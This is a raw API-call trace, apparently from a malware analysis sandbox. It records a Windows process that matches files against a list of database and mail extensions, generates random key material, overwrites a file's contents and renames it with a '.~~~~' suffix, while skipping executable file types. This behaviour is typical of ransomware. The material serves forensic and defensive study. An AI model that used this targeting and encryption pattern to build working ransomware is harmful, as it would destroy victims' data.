	[0062.949] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".DBV") returned 0x0
	[0062.949] lstrlenW (lpString=".dacpac") returned 7
	[0062.949] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".dacpac") returned 0x0
	[0062.949] lstrlenW (lpString=".sdf") returned 4
	[0062.949] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".sdf") returned 0x0
	[0062.949] lstrlenW (lpString=".accdb") returned 6
	[0062.949] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".accdb") returned 0x0
	[0062.949] lstrlenW (lpString=".DBX") returned 4
	[0062.949] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".DBX") returned 0x0
	[0062.949] lstrlenW (lpString=".MDT") returned 4
	[0062.949] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".MDT") returned 0x0
	[0062.949] lstrlenW (lpString=".SQB") returned 4
	[0062.949] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".SQB") returned 0x0
	[0062.949] lstrlenW (lpString=".vhd") returned 4
	[0062.950] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".vhd") returned 0x0
	[0062.950] lstrlenW (lpString=".bac") returned 4
	[0062.950] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".bac") returned 0x0
	[0062.950] lstrlenW (lpString=".mdf") returned 4
	[0062.950] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".mdf") returned 0x0
	[0062.950] lstrlenW (lpString=".BAK") returned 4
	[0062.950] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".BAK") returned 0x0
	[0062.950] lstrlenW (lpString=".BAC") returned 4
	[0062.950] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".BAC") returned 0x0
	[0062.950] lstrlenW (lpString=".dbs") returned 4
	[0062.950] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".dbs") returned 0x0
	[0062.950] lstrlenW (lpString=".vhdx") returned 5
	[0062.950] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".vhdx") returned 0x0
	[0062.950] lstrlenW (lpString=".NDF") returned 4
	[0062.950] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".NDF") returned 0x0
	[0062.950] lstrlenW (lpString=".dat") returned 4
	[0062.950] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".dat") returned 0x0
	[0062.951] lstrlenW (lpString=".DBS") returned 4
	[0062.951] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".DBS") returned 0x0
	[0062.951] lstrlenW (lpString=".CKP") returned 4
	[0062.951] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".CKP") returned 0x0
	[0062.951] lstrlenW (lpString=".edb") returned 4
	[0062.951] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".edb") returned 0x0
	[0062.951] lstrlenW (lpString=".PST") returned 4
	[0062.951] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".PST") returned 0x0
	[0062.951] lstrlenW (lpString=".dbf") returned 4
	[0062.951] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".dbf") returned 0x0
	[0062.951] lstrlenW (lpString=".SQL") returned 4
	[0062.951] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".SQL") returned 0x0
	[0062.951] lstrlenW (lpString=".pst") returned 4
	[0062.951] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".pst") returned 0x0
	[0062.951] lstrlenW (lpString=".dbv") returned 4
	[0062.951] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".dbv") returned 0x0
	[0062.951] lstrlenW (lpString=".SDF") returned 4
	[0062.951] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".SDF") returned 0x0
	[0062.951] lstrlenW (lpString=".dtxs") returned 5
	[0062.952] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".dtxs") returned 0x0
	[0062.952] lstrlenW (lpString=".db3") returned 4
	[0062.952] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".db3") returned 0x0
	[0062.952] lstrlenW (lpString=".OST") returned 4
	[0062.952] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".OST") returned 0x0
	[0062.952] lstrlenW (lpString=".dbx") returned 4
	[0062.952] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".dbx") returned 0x0
	[0062.952] lstrlenW (lpString=".DB3") returned 4
	[0062.952] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".DB3") returned 0x0
	[0062.952] lstrlenW (lpString=".DAT") returned 4
	[0062.952] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".DAT") returned 0x0
	[0062.952] lstrlenW (lpString=".VHDX") returned 5
	[0062.952] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".VHDX") returned 0x0
	[0062.952] lstrlenW (lpString=".ndf") returned 4
	[0062.952] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".ndf") returned 0x0
	[0062.952] lstrlenW (lpString=".DB") returned 3
	[0062.952] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".DB") returned 0x0
	[0062.953] lstrlenW (lpString=".sql") returned 4
	[0062.953] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".sql") returned 0x0
	[0062.953] lstrlenW (lpString=".MYD") returned 4
	[0062.953] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".MYD") returned 0x0
	[0062.953] lstrlenW (lpString=".DBT") returned 4
	[0062.953] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".DBT") returned 0x0
	[0062.953] lstrlenW (lpString=".ACCDB") returned 6
	[0062.953] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".ACCDB") returned 0x0
	[0062.953] lstrlenW (lpString=".fdb") returned 4
	[0062.953] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".fdb") returned 0x0
	[0062.953] lstrlenW (lpString=".bak") returned 4
	[0062.953] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".bak") returned 0x0
	[0062.953] lstrlenW (lpString=".myd") returned 4
	[0062.953] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".myd") returned 0x0
	[0062.953] lstrlenW (lpString=".DTXS") returned 5
	[0062.953] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".DTXS") returned 0x0
	[0062.953] lstrlenW (lpString=".ckp") returned 4
	[0062.953] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".ckp") returned 0x0
	[0062.954] lstrlenW (lpString=".dbt") returned 4
	[0062.954] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".dbt") returned 0x0
	[0062.954] lstrlenW (lpString=".db") returned 3
	[0062.954] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".db") returned 0x0
	[0062.954] lstrlenW (lpString=".TXT") returned 4
	[0062.954] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".TXT") returned 0x0
	[0062.954] lstrlenW (lpString=".MDF") returned 4
	[0062.954] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".MDF") returned 0x0
	[0062.954] lstrlenW (lpString=".bdb") returned 4
	[0062.954] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".bdb") returned 0x0
	[0062.954] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0062.954] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0062.954] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x39e7b0
	[0062.954] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362f18
	[0062.954] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x39d948) returned 1
	[0062.956] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f18 | out: pbBuffer=0x362f18) returned 1
	[0062.956] CryptReleaseContext (hProv=0x39d948, dwFlags=0x0) returned 1
	[0062.956] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f18 | out: hHeap=0x300000) returned 1
	[0062.956] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368ba0
	[0062.956] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x3ea520
	[0062.957] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=18294671593) returned 1
	[0062.957] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0x92ae5290, dwHighDateTime=0x1d60e1e)) 
	[0062.957] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623c0
	[0062.957] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0062.957] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0062.957] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x35ca40
	[0062.957] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0062.957] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x35ca40 | out: hHeap=0x300000) returned 1
	[0062.957] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x39d948
	[0062.957] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0062.957] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3e65e0
	[0062.957] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39d948 | out: hHeap=0x300000) returned 1
	[0062.957] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x39e8e8
	[0062.957] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e65e0 | out: hHeap=0x300000) returned 1
	[0062.957] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0062.958] GetLastError () returned 0x0
	[0062.958] SetLastError (dwErrCode=0x0) 
	[0062.958] GetLastError () returned 0x0
	[0062.958] SetLastError (dwErrCode=0x0) 
	[0062.958] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0062.958] GetLastError () returned 0x0
	[0062.958] SetLastError (dwErrCode=0x0) 
	[0062.958] GetLastError () returned 0x0
	[0062.958] SetLastError (dwErrCode=0x0) 
	[0062.958] GetLastError () returned 0x0
	[0062.958] SetLastError (dwErrCode=0x0) 
	[0062.958] GetLastError () returned 0x0
	[0062.958] SetLastError (dwErrCode=0x0) 
	[0062.959] GetLastError () returned 0x0
	[0062.959] SetLastError (dwErrCode=0x0) 
	[0062.959] GetLastError () returned 0x0
	[0062.959] SetLastError (dwErrCode=0x0) 
	[0062.959] GetLastError () returned 0x0
	[0062.959] SetLastError (dwErrCode=0x0) 
	[0062.959] GetLastError () returned 0x0
	[0062.959] SetLastError (dwErrCode=0x0) 
	[0062.959] GetLastError () returned 0x0
	[0062.959] SetLastError (dwErrCode=0x0) 
	[0062.959] GetLastError () returned 0x0
	[0062.959] SetLastError (dwErrCode=0x0) 
	[0062.959] GetLastError () returned 0x0
	[0062.959] SetLastError (dwErrCode=0x0) 
	[0062.959] GetLastError () returned 0x0
	[0062.959] SetLastError (dwErrCode=0x0) 
	[0062.959] GetLastError () returned 0x0
	[0062.959] SetLastError (dwErrCode=0x0) 
	[0062.959] GetLastError () returned 0x0
	[0062.959] SetLastError (dwErrCode=0x0) 
	[0062.960] GetLastError () returned 0x0
	[0062.960] SetLastError (dwErrCode=0x0) 
	[0062.960] GetLastError () returned 0x0
	[0062.960] SetLastError (dwErrCode=0x0) 
	[0062.960] GetLastError () returned 0x0
	[0062.960] SetLastError (dwErrCode=0x0) 
	[0062.960] GetLastError () returned 0x0
	[0062.960] SetLastError (dwErrCode=0x0) 
	[0062.960] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39e8e8 | out: hHeap=0x300000) returned 1
	[0062.960] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x19000) returned 0x3b2038
	[0062.961] ReadFile (in: hFile=0x110, lpBuffer=0x3b2038, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x3b2038*, lpNumberOfBytesRead=0x24dfec0*=0x8f8, lpOverlapped=0x0) returned 1
	[0063.010] SetFilePointerEx (in: hFile=0x110, liDistanceToMove=0xfffff708, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0063.011] WriteFile (in: hFile=0x110, lpBuffer=0x3b2038*, nNumberOfBytesToWrite=0x8f8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x3b2038*, lpNumberOfBytesWritten=0x24dfec0*=0x8f8, lpOverlapped=0x0) returned 1
	[0063.011] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b2038 | out: hHeap=0x300000) returned 1
	[0063.011] SetFilePointerEx (in: hFile=0x110, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0063.011] WriteFile (in: hFile=0x110, lpBuffer=0x368ba0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368ba0*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0063.011] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0063.011] WriteFile (in: hFile=0x110, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0063.011] CloseHandle (hObject=0x110) returned 1
	[0063.045] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x39e8e8
	[0063.045] MoveFileW (lpExistingFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\setup.xml"), lpNewFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml.~~~~" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\setup.xml.~~~~")) returned 1
	[0063.046] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39e8e8 | out: hHeap=0x300000) returned 1
	[0063.046] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0063.046] GetLastError () returned 0x0
	[0063.046] SetLastError (dwErrCode=0x0) 
	[0063.046] GetLastError () returned 0x0
	[0063.046] SetLastError (dwErrCode=0x0) 
	[0063.046] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3623c0 | out: hHeap=0x300000) returned 1
	[0063.046] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3623a0 | out: hHeap=0x300000) returned 1
	[0063.046] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x368ba0 | out: hHeap=0x300000) returned 1
	[0063.046] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ea520 | out: hHeap=0x300000) returned 1
	[0063.048] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39e7b0 | out: hHeap=0x300000) returned 1
	[0063.048] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e6538 | out: hHeap=0x300000) returned 1
	[0063.048] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e6478 | out: hHeap=0x300000) returned 1
	[0063.049] RtlWakeConditionVariable () returned 0x365f70
	[0063.049] GetCurrentThreadId () returned 0x3a4
	[0063.049] GetCurrentThreadId () returned 0x3a4
	[0063.049] SleepConditionVariableSRW (in: ConditionVariable=0x365f48, SRWLock=0x365fcc, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f48, SRWLock=0x365fcc) returned 1
	[0063.167] GetCurrentThreadId () returned 0x3a4
	[0063.167] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x39e5c0
	[0063.167] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39e528 | out: hHeap=0x300000) returned 1
	[0063.167] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x35ca40 | out: hHeap=0x300000) returned 1
	[0063.167] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x39e528
	[0063.167] lstrlenW (lpString=".scr") returned 4
	[0063.167] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\..", lpSrch=".scr") returned 0x0
	[0063.167] lstrlenW (lpString=".cmd") returned 4
	[0063.167] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\..", lpSrch=".cmd") returned 0x0
	[0063.167] lstrlenW (lpString=".dll") returned 4
	[0063.167] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\..", lpSrch=".dll") returned 0x0
	[0063.168] lstrlenW (lpString=".bat") returned 4
	[0063.168] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\..", lpSrch=".bat") returned 0x0
	[0063.168] lstrlenW (lpString=".cpl") returned 4
	[0063.168] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\..", lpSrch=".cpl") returned 0x0
	[0063.168] lstrlenW (lpString=".sys") returned 4
	[0063.168] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\..", lpSrch=".sys") returned 0x0
	[0063.168] lstrlenW (lpString=".msc") returned 4
	[0063.168] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\..", lpSrch=".msc") returned 0x0
	[0063.168] lstrlenW (lpString=".com") returned 4
	[0063.168] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\..", lpSrch=".com") returned 0x0
	[0063.168] lstrlenW (lpString=".lnk") returned 4
	[0063.169] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\..", lpSrch=".lnk") returned 0x0
	[0063.169] lstrlenW (lpString=".msp") returned 4
	[0063.169] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\..", lpSrch=".msp") returned 0x0
	[0063.169] lstrlenW (lpString=".pif") returned 4
	[0063.169] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\..", lpSrch=".pif") returned 0x0
	[0063.169] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0063.169] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\..", lpSrch="msp\r\n.pif") returned 0x0
	[0063.169] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\.." (normalized: "c:\\msocache\\all users"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0063.169] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39e528 | out: hHeap=0x300000) returned 1
	[0063.169] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39e5c0 | out: hHeap=0x300000) returned 1
	[0063.169] RtlWakeConditionVariable () returned 0x365f70
	[0063.169] GetCurrentThreadId () returned 0x3a4
	[0063.170] GetCurrentThreadId () returned 0x3a4
	[0063.170] SleepConditionVariableSRW (in: ConditionVariable=0x365f48, SRWLock=0x365fcc, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f48, SRWLock=0x365fcc) returned 1
	[0063.267] GetCurrentThreadId () returned 0x3a4
	[0063.267] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e6688
	[0063.267] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e65e0 | out: hHeap=0x300000) returned 1
	[0063.267] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x35ca40 | out: hHeap=0x300000) returned 1
	[0063.268] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e65e0
	[0063.268] lstrlenW (lpString=".scr") returned 4
	[0063.268] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab", lpSrch=".scr") returned 0x0
	[0063.268] lstrlenW (lpString=".cmd") returned 4
	[0063.268] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab", lpSrch=".cmd") returned 0x0
	[0063.268] lstrlenW (lpString=".dll") returned 4
	[0063.268] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab", lpSrch=".dll") returned 0x0
	[0063.268] lstrlenW (lpString=".bat") returned 4
	[0063.268] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab", lpSrch=".bat") returned 0x0
	[0063.268] lstrlenW (lpString=".cpl") returned 4
	[0063.268] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab", lpSrch=".cpl") returned 0x0
	[0063.268] lstrlenW (lpString=".sys") returned 4
	[0063.268] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab", lpSrch=".sys") returned 0x0
	[0063.268] lstrlenW (lpString=".msc") returned 4
	[0063.268] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab", lpSrch=".msc") returned 0x0
	[0063.268] lstrlenW (lpString=".com") returned 4
	[0063.268] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab", lpSrch=".com") returned 0x0
	[0063.268] lstrlenW (lpString=".lnk") returned 4
	[0063.268] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab", lpSrch=".lnk") returned 0x0
	[0063.269] lstrlenW (lpString=".msp") returned 4
	[0063.269] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab", lpSrch=".msp") returned 0x0
	[0063.269] lstrlenW (lpString=".pif") returned 4
	[0063.269] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab", lpSrch=".pif") returned 0x0
	[0063.269] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0063.269] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab", lpSrch="msp\r\n.pif") returned 0x0
